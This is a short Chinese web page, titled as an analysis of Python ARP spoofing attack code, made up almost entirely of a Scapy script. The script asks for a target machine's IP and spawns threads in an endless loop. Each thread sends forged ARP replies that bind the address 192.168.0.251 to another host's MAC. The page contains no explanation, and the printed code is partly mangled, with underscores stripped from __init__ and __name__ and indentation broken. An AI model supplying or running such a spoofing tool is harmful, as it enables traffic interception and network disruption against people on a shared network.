python发送arp欺骗攻击代码分析

732次阅读  |  发布于5年以前

复制代码 代码如下:

-- coding: cp936 --

from scapy.all import *
from threading import Thread,Lock,activeCount

BROADCASTMAC = getmacbyip('192.168.0.120')

class Loop(Thread):
def init(self,ip):
Thread.init(self)
self.ip = ip

def run(self):  
    global BROADCASTMAC  
    arp = ARP()  
    arp.psrc = '192.168.0.251'  
    arp.hwsrc = BROADCASTMAC  
    arp.pdst = self.ip  
    arp.op = 2  
    sr1(arp,verbose = 0,retry = 0,timeout = 3)

class Main(Thread):
def init(self,ip):
Thread.init(self)
self.ip = ip

def run(self):  
    limit = 100  
    total = 0  
    while True:  
        if activeCount() < limit:  
            Loop(self.ip).start()  
            total = total + 1  
        print '目前已进行了ARP攻击的次数为:'+str(total)  

if name == 'main':
ip = raw_input('请输入要进行ARP攻击的机器IP:')

Main(ip = ip).start()  

Copyright© 2013-2020

All Rights Reserved 京ICP备2023019179号-8